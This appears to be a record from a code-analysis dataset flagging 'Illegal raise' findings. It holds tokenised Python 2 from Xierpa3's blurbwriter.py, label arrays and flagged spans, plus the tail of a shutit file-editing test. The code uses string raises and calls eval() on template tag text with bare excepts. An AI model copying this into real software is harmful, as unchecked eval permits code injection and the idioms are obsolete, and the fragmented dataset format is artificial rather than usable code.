"11.", "1", "2", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "MULTI", "LINES_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "file", "\\u", "text_", "=_", "'''", "A", " ", "file", " ", "with", "\\", "10", ";", "some", " ", "text", " ", "in", ".", "\\", "10", ";", "It", "'", "s", " ", "not", " ", "very", " ", "interesting", ",", "\\", "10", ";", "^", "but", " ", "has", " ", "some", " ", "interesting", " ", "lines", "$", "\\", "10", ";", "\\", "10", ";", "and", " ", "lines", " ", "with", " ", "not", "hing", " ", "in", " ", "it", ",", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", "just", " ", "space", "s", ",", " ", "and", " ", "just", " ", "tabs", "\\", "10", ";", " ", " ", " ", "\\", "10", ";", "some", " ", "repeated", " ", "lines", "\\", "10", ";", "and", "\\", "10", ";", "some", " ", "repeated", " ", "lines", "\\", "10", ";", "and", " ", "lines", " ", "with", " ", "'", "some", " ", "text", " ", "in", "'", " ", "it", " ", "again", ".", "\\", "10", ";", "last", " ", "line", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Prob", "lem", " ", "here", " ", "is", " ", "tha", "t", " ", "line", "\\u", "orient", "ed", " ", "Fal", "se", " ", "appear", "s", " ", "not", " ", "to", " ", "work", " ", "-", " ", "the", " ", "regexp", " ", "shou", "ld", " ", "cross", " ", "the", " ", "line", ",", " ", "and", " ", "place", " ", "the", " ", "text_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "after", " ", "tho", "se", " ", "lines", " ", "and", " ", "bef", "ore", " ", "the", " ", "'", "last", " ", "line", "'", " ", "line", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "fname", "='", "/", "tmp", "/", "multi", ".1", "1.3", ".1", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", "shutit", ".", "send", "\\u", "file", "(", "fname", ",", "file", "\\u", "text", ",", "truncat", "e", "=", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "shutit", ".", "insert", "\\u", "text", "(''", "'", "a", " ", "new", " ", "line1_", "\\u\\u\\uNL\\u\\u\\u_", "#", "a", " ", "new", " ", "line", "2", "'''", ",", "fname", ",'", "''", "again", ".*", "last", " ", "line", ".*", "'''", ",", "line", "\\u", "orient", "ed", "=", "Fal", "se", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "shutit", ".", "send", "\\u", "and", "\\u", "get", "\\u", "output", "('", "md5sum", " ", "'", " ", "+", " ", "fname", ")", " ", "!=", " ", "'", "14", "b6", "940", "5", "4d", "4f", "590", "8a", "b7", "a9", "678", "9", "d2", "c9", "451", " ", " ", "'", " ", " ", "+", " ", "fname", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "shutit", ".", "fail", "('", "test", " ", "'", " ", "+", " ", "fname", " ", "+", " ", "'", "fail", "ed", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "fname", "='", "/", "tmp", "/", "multi", ".1", "1.3", ".2", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", "shutit", ".", "send", "\\u", "file", "(", "fname", ",", "file", "\\u", "text", ",", "truncat", "e", "=", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "shutit", ".", "replace", "\\u", "text", "(''", "'", "a", " ", "new", " ", "line", "1", "'''", ",", "fname", ",'", "''", "a", " ", "new", " ", "line", "1", "'''", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "shutit", ".", "send", "\\u", "and", "\\u", "get", "\\u", "output", "('", "md5sum", " ", "'", " ", "+", " ", "fname", ")", " ", "!=", " ", "'", "d1", "2", "9", "f9", "a9", "9", "dc", "3b", "b5", "ba", "2c", "406", "87", "c4", "1f", "1", "2c", "9", " ", " ", "'", " ", " ", "+", " ", "fname", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "shutit", ".", "fail", "('", "test", " ", "'", " ", "+", " ", "fname", " ", "+", " ", "'.", "1", " ", "fail", "ed", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "shutit", ".", "replace", "\\u", "text", "(''", "'", "a", " ", "new", " ", "line", "1", "'''", ",", "fname", ",'", "''", "a", " ", "new", " ", "line", "1", "'''", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "shutit", ".", "send", "\\u", "and", "\\u", "get", "\\u", "output", "('", "md5sum", " ", "'", " ", "+", " ", "fname", ")", " ", "!=", " ", "'", "d1", "2", "9", "f9", "a9", "9", "dc", "3b", "b5", "ba", "2c", "406", "87", "c4", "1f", "1", "2c", "9", " ", " ", "'", " ", " ", "+", " ", "fname", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "shutit", ".", "fail", "('", "test", " ", "'", " ", "+", " ", "fname", " ", "+", " ", "'.", "2", " ", "fail", "ed", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "shutit", ".", "replace", "\\u", "text", "(''", "'", "a", " ", "new", " ", "line", "2", "'''", ",", "fname", ",'", "''", "a", " ", "new", " ", "line", "2", "'''", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "shutit", ".", "send", "\\u", "and", "\\u", "get", "\\u", "output", "('", "md5sum", " ", "'", " ", "+", " ", "fname", ")", " ", "!=", " ", "'", "14", "b6", "940", "5", "4d", "4f", "590", "8a", "b7", "a9", "678", "9", "d2", "c9", "451", " ", " ", "'", " ", " ", "+", " ", "fname", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "shutit", ".", "fail", "('", "test", " ", "'", " ", "+", " ", "fname", " ", "+", " ", "'.", "3", " ", "fail", "ed", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "shutit", ".", "replace", "\\u", "text", "(''", "'", "just", " ", "space", "s", ",", " ", "and", " ", "just", " ", "tablet", "s", "'''", ",", "fname", ",'", "''", "and", " ", "just", " ", "tabs", "'''", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "shutit", ".", "send", "\\u", "and", "\\u", "get", "\\u", "output", "('", "md5sum", " ", "'", " ", "+", " ", "fname", ")", " ", "!=", " ", "'", "8", "1a", "023", "611", "fb", "684", "823", "f2", "998", "ce", "9", "7d", "a5", "a2", "3", " ", " ", "'", " ", " ", "+", " ", "fname", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "shutit", ".", "fail", "('", "test", " ", "'", " ", "+", " ", "fname", " ", "+", " ", "'.", "4", " ", "fail", "ed", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "shutit", ".", "replace", "\\u", "text", "(''", "'", "just", " ", "space", "s", ",", " ", "and", " ", "just", " ", "tabs", "'''", ",", "fname", ",'", "''", "and", " ", "just", " ", "tablet", "s", "'''", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "shutit", ".", "send", "\\u", "and", "\\u", "get", "\\u", "output", "('", "md5sum", " ", "'", " ", "+", " ", "fname", ")", " ", "!=", " ", "'", "14", "b6", "940", "5", "4d", "4f", "590", "8a", "b7", "a9", "678", "9", "d2", "c9", "451", " ", " ", "'", " ", " ", "+", " ", "fname", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "shutit", ".", "fail", "('", "test", " ", "'", " ", "+", " ", "fname", " ", "+", " ", "'.", "5", " ", "fail", "ed", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Illegal raise
petrvanblokland/Xierpa3/xierpa3/contributions/filibuster/blurbwriter.py
[ { "content": " def replacecode(self, text):\n m = 1\n pend= 0\n while m<>None:\n m = self.pstatement.search(text, pend)\n if m == None:\n return 0, text\n tag = m.group('tagname')\n if len(tag) == 0:\n raise 'Error in blurb code' # Better make it crash to show the error\n return 0, '__empty tag__'\n try:\n result = eval(tag)\n except:\n result = '__error('+tag+')__'\n if not isinstance(result, basestring):\n result = str(result)\n parts = string.split(text, '<-' + tag + '->')\n text = parts[0] + result + string.join(parts[1:], '<-' + tag + '->')\n return 1, text", "metadata": "root.BlurbWriter.replacecode", "header": "['class', 'BlurbWriter', '(', 'object', ')', ':', '___EOS___']", "index": 258 }, { "content": " def replacetag(self, level, text):\n level = level + 1\n if level > 100:\n raise 'recursion error? too many nested instructions!', self.lasttag\n #pend = 0\n m = 1\n while m<>None:\n start, stop = self.findtag(text)\n if start == None:\n return 0, text\n tag = text[start:stop]\n if len(tag) == 0:\n raise 'Error in blurb code' # Better make it crash to show the error\n return 0, '__empty tag__'\n\n # do the meta-recursive tag-tagging thing here\n metatext = text\n metatag = tag\n while string.find(tag, opentag) <> -1:\n _, metatag = self.replacetag(level, tag) # ok, metalog\n parts = string.split(metatext, tag)\n if len(parts) > 1:\n tag = string.join(parts, metatag)\n else:\n tag = metatag\n return self.replacetag(level, tag)\n \n tagname, cmd, variable, hard = self.parsetag(tag)\n # process in-tag commands, if any\n cachethis = 0 # whether results should be cached\n setarticle = 0 # prepare an article ( 'a' or 'an' )\n uppered = 0 # make first character uppercase\n formatcmds = []\n for i in cmd:\n si = string.strip(i)\n if not si:\n continue\n if si=='article':\n setarticle = 1\n elif si[0] == '!': # it's a format command!\n formatcmds.append(si[1:])\n elif si[0] == '^': # make first character uppercase\n uppered = 1\n\n parts = string.split(text, opentag + tag + closetag)\n if self.has_key(tagname):\n _, selection = self.choice(variable, tagname) # ci, selection\n _, c = self.replacetag(level, selection) # ok, c\n else:\n _, c = self.replacetag(level, '__' + tagname + '__') # ok, c \n self.lasttag = c\n\n # take care of the article command\n art = ''\n if setarticle:\n if c[0] in vowels:\n art = 'an '\n else:\n art = 'a '\n if uppered and c:\n c = string.upper(c[0])+c[1:]\n\n # format the line if necessary\n if len(formatcmds) > 0 and self.formatfunc:\n for fc in formatcmds:\n if DEBUG:\n print 'writerformatting before:', fc, c\n if not self.formatdict.has_key(fc):\n continue\n c = self.formatfunc(c, self.formatdict[fc])\n if DEBUG:\n print 'writerformatting after:', fc, c\n\n # build the new line\n vardef = c\n if variable:\n c = ''\n try:\n text = parts[0] + art + c + string.join(parts[1:], opentag + tag + closetag)\n except:\n print '13213312312321231'\n pass\n # store the result in the cache\n # note: it is storing the stylised version\n if variable or cachethis:\n if variable:\n tg = variable\n else:\n tg = tagname\n if hard:\n self.define(tg, vardef)\n else:\n self.softdefine(tg, vardef)\n return 0, text", "metadata": "root.BlurbWriter.replacetag", "header": "['class', 'BlurbWriter', '(', 'object', ')', ':', '___EOS___']", "index": 318 } ]
[ { "span": "raise 'Error in blurb code' ", "start_line": 267, "start_column": 16, "end_line": 267, "end_column": 43 }, { "span": "raise 'recursion error? too many nested instructions!', self.lasttag", "start_line": 321, "start_column": 12, "end_line": 321, "end_column": 80 }, { "span": "raise 'Error in blurb code' ", "start_line": 330, "start_column": 16, "end_line": 330, "end_column": 43 } ]
[]
1
true
[ "[CLS]_", "Il", "lega", "l_", "raise_", "[SEP]_", "class_", "Blur", "b", "Writer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "replace", "code_", "(_", "self_", ",_", "text_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pend", "_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "m_", "<_", ">_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "self_", "._", "pstat", "ement_", "._", "search_", "(_", "text_", ",_", "pend", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "m_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "0_", ",_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tag_", "=_", "m_", "._", "group_", "(_", "'", "tagname", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "tag_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "'", "Error", " ", "in", " ", "blur", "b", " ", "code", "'_", "#", " ", "Bet", "ter", " ", "make", " ", "it", " ", "crash", " ", "to", " ", "show", " ", "the", " ", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "0_", ",_", "'\\u", "\\u", "empty", " ", "tag", "\\u\\u'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "eval_", "(_", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "'\\u", "\\u", "error", "('_", "+_", "tag_", "+_", "')", "\\u\\u'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "result_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "str_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "parts_", "=_", "string_", "._", "split_", "(_", "text_", ",_", "'<", "-'_", "+_", "tag_", "+_", "'->", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "parts_", "[_", "0_", "]_", "+_", "result_", "+_", "string_", "._", "join_", "(_", "parts_", "[_", "1_", ":_", "]_", ",_", "'<", "-'_", "+_", "tag_", "+_", "'->", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "1_", ",_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Blur", "b", "Writer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "replace", "tag_", "(_", "self_", ",_", "level_", ",_", "text_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "level_", "=_", "level_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "level_", ">_", "100_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "'", "recursion", " ", "error", "?", " ", "too", " ", "many", " ", "nest", "ed", " ", "instruct", "ion", "s", "!'_", ",_", "self_", "._", "last", "tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "pend", " ", "=", " ", "0_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "m_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "m_", "<_", ">_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start_", ",_", "stop_", "=_", "self_", "._", "find", "tag_", "(_", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "start_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "0_", ",_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tag_", "=_", "text_", "[_", "start_", ":_", "stop_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "tag_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "'", "Error", " ", "in", " ", "blur", "b", " ", "code", "'_", "#", " ", "Bet", "ter", " ", "make", " ", "it", " ", "crash", " ", "to", " ", "show", " ", "the", " ", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "0_", ",_", "'\\u", "\\u", "empty", " ", "tag", "\\u\\u'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "do", " ", "the", " ", "meta", "-", "recurs", "ive", " ", "tag", "-", "tagging", " ", "thing", " ", "here_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "meta", "text_", "=_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "meta", "tag_", "=_", "tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "string_", "._", "find_", "(_", "tag_", ",_", "opent", "ag_", ")_", "<_", ">_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u_", ",_", "meta", "tag_", "=_", "self_", "._", "replace", "tag_", "(_", "level_", ",_", "tag_", ")_", "#", " ", "ok", ",", " ", "metal", "og_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parts_", "=_", "string_", "._", "split_", "(_", "meta", "text_", ",_", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "parts_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "tag_", "=_", "string_", "._", "join_", "(_", "parts_", ",_", "meta", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "tag_", "=_", "meta", "tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "replace", "tag_", "(_", "level_", ",_", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tagname_", ",_", "cmd_", ",_", "variable_", ",_", "hard", "_", "=_", "self_", "._", "parset", "ag_", "(_", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "process", " ", "in", "-", "tag", " ", "command", "s", ",", " ", "if", " ", "any_", "\\u\\u\\uNL\\u\\u\\u_", "cache", "this_", "=_", "0_", "#", " ", "whe", "ther", " ", "results", " ", "shou", "ld", " ", "be", " ", "cached_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "seta", "rti", "cle_", "=_", "0_", "#", " ", "prepar", "e", " ", "an", " ", "article", " ", "(", " ", "'", "a", "'", " ", "or", " ", "'", "an", "'", " ", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "upper", "ed_", "=_", "0_", "#", " ", "make", " ", "first", " ", "character", " ", "uppercase_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "format", "cmds_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "cmd_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "si_", "=_", "string_", "._", "strip_", "(_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "si_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "si_", "==_", "'", "article", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "seta", "rti", "cle_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "si_", "[_", "0_", "]_", "==_", "'!'_", ":_", "#", " ", "it", "'", "s", " ", "a", " ", "format", " ", "command", "!", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "format", "cmds_", "._", "append_", "(_", "si_", "[_", "1_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "si_", "[_", "0_", "]_", "==_", "'", "^", "'_", ":_", "#", " ", "make", " ", "first", " ", "character", " ", "uppercase_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "upper", "ed_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "parts_", "=_", "string_", "._", "split_", "(_", "text_", ",_", "opent", "ag_", "+_", "tag_", "+_", "close", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "key_", "(_", "tagname_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u_", ",_", "selection_", "=_", "self_", "._", "choice_", "(_", "variable_", ",_", "tagname_", ")_", "#", " ", "ci", ",", " ", "selection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u_", ",_", "c_", "=_", "self_", "._", "replace", "tag_", "(_", "level_", ",_", "selection_", ")_", "#", " ", "ok", ",", " ", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u_", ",_", "c_", "=_", "self_", "._", "replace", "tag_", "(_", "level_", ",_", "'\\u\\u'_", "+_", "tagname_", "+_", "'\\u\\u'_", ")_", "#", " ", "ok", ",", " ", "c", " _", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "last", "tag_", "=_", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "take", " ", "care", " ", "of", " ", "the", " ", "article", " ", "command_", "\\u\\u\\uNL\\u\\u\\u_", "art_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "seta", "rti", "cle_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "c_", "[_", "0_", "]_", "in_", "vowels", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "art_", "=_", "'", "an", " ", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "art_", "=_", "'", "a", " ", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "upper", "ed_", "and_", "c_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c_", "=_", "string_", "._", "upper_", "(_", "c_", "[_", "0_", "]_", ")_", "+_", "c_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "format", " ", "the", " ", "line", " ", "if", " ", "necessar", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "format", "cmds_", ")_", ">_", "0_", "and_", "self_", "._", "format", "func_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "fc_", "in_", "format", "cmds_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "DEBUG_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "'", "writer", "format", "ting", " ", "bef", "ore", ":'_", ",_", "fc_", ",_", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "format", "dict_", "._", "has", "\\u", "key_", "(_", "fc_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "c_", "=_", "self_", "._", "format", "func_", "(_", "c_", ",_", "self_", "._", "format", "dict_", "[_", "fc_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "DEBUG_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "'", "writer", "format", "ting", " ", "after", ":'_", ",_", "fc_", ",_", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "build", " ", "the", " ", "new", " ", "line_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "vard", "ef_", "=_", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "variable_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "parts_", "[_", "0_", "]_", "+_", "art_", "+_", "c_", "+_", "string_", "._", "join_", "(_", "parts_", "[_", "1_", ":_", "]_", ",_", "opent", "ag_", "+_", "tag_", "+_", "close", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "132", "133", "1231", "232", "1231", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "store", " ", "the", " ", "result", " ", "in", " ", "the", " ", "cache_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "note", ":", " ", "it", " ", "is", " ", "stor", "ing", " ", "the", " ", "sty", "lis", "ed", " ", "version_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "variable_", "or_", "cache", "this_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "variable_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "tg_", "=_", "variable_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "tg_", "=_", "tagname_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hard", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "define_", "(_", "tg_", 